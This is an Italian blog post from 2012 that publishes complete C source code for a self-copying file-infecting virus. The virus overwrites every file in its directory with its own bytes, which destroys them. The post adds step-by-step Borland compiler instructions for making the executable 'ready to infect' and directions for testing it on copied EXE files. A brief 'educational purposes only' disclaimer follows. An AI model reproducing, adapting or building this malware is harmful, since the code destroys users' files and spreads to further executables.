venerdì 29 giugno 2012

Creare un virus in C

Questo programma è un esempio di come creare un virus in C. Questo programma mostra un semplice programma virus che al momento dell'esecuzione (Running) crea una copia di se stesso nell'altro file. Così distrugge altri file da infettare loro. Ma il file del virus infetto è anche in grado di diffondere l'infezione ad un altro file e così via. Ecco il codice sorgente del programma virus.


CODICE
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %­s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}



Metodo di Compilazione:

UTILIZZARE BORLAND TC + + 3.0 (16-bit):


1. Caricare il programma nel compilatore, premete Alt-F9 per compilare

2. Premere F9 per generare il file EXE (non premere CTRL-F9, Questo infettare tutti i file nella directory Compreso il compilatore)

3. Annotare la dimensione del file EXE generato in byte (vedi proprietà Exe per la sua dimensione)

4. Modificare il valore di X nel codice sorgente con il annotato dimensioni (Nel codice sorgente SOPRA x = 89.088; cambiarlo)

5. Ancora una volta seguite il passo 1 e Passo 2,adesso il file EXE generato è pronto a infettare

Utilizare Borland C++ 5.5 (32-BIT):


1. Compilare una volta, annotare il file EXE generato lunghezza in byte

2. Modificare il valore di X nel codice sorgente di questa lunghezza in byte

3. Ricompilarlo.Il file EXE è pronta ad infettare

Come Testarlo:

1. Aprire nuova cartella vuota

2. Mettere alcuni file EXE (cercando *. EXE IN RICERCA & incolla Nella nuova cartella)

3. Eseguire il file EXE virus lì potrete vedere tutti i file nella directory corrente vengono infettati.

4. Tutti i file infetti saranno pronti a reinfettare

download borland

ATTENZIONE: solo per scopi didattici. NON diffondere o sfruttare il codice del virus

Nessun commento:

Posta un commento